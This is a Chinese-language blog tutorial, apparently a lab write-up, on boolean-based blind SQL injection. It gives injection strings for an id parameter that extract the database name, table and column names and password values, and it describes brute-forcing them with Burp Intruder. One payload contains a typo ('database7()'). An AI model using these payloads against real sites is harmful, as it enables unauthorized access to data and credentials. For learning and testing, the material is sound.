布尔盲注初体验

了解布尔盲注

布尔盲注的条件
布尔盲注在注入时不会显示具体的信息,即没有显示位,只会返回对或者错误。
布尔盲注需要用到的几个函数

length()函数可返回字符串的长度
substring()函数可以截取字符串,可指定开始的位置和截取的长度
ord()函数可以返回单个字符的ASCII码
char()函数可将ASCII码转换为对应的字符

在上面ord()也可以用ascii()来代替,效果一样。

布尔盲注

1、判断注入点
在这里插入图片描述
输入" or 1=1#时显示正确,删除"时出现错误,说明闭合符号是 " 。
判断数据库长度

?id=1" or length(database7())>1 #

显示正确
在这里插入图片描述接着就依次判断,发现最后长度为10.
爆数据库长度

?id=1" or ascii(substr((database()),1,1))>65#
?id=1" or ord(substr((database()),1,1))>65#

上面两种都可以用。用纯手工的注入的话,需要一个一个判断,很麻烦,所以可以利用brup进行爆破,再往上就是利用脚本了。本人技术很菜,所以就说一下怎样用brup进行爆破吧。
利用brup进行爆破
在这里插入图片描述
先进行抓包,然后将包发送到intruder中
在这里插入图片描述
然后设置变量,由于变量是两个,所以需要用第四个进行爆破。
在这里插入图片描述
两个都设置为Numbers型的,然后第一个从1开始,到10,依次增加1,第二个从0开始 依次增加1,到127结束。设置完成后就可以进行爆破了。
在这里插入图片描述
最后只需要观察选出正确值就行了。
接下来就是爆出表名

?id=1" or (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))>65#

接着进行上面的爆破步骤就可以爆出来了。
通过修改 limit 0,1的值就可以爆出来不同的数据表名了。其中,limit 0,1指的是从第一列开始取一个值。
爆字段和值
爆字段

?id=1" or (ascii(substr((select column_name from information_schema.columns where table_name='user_1' limit 0,1),1,1)))>1#

爆值

?id=1" or (ascii(substr((select password from user_1 limit 0,1),1,1)))>1#

接着把brup爆破出来的数值转换一下就可以得到了。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章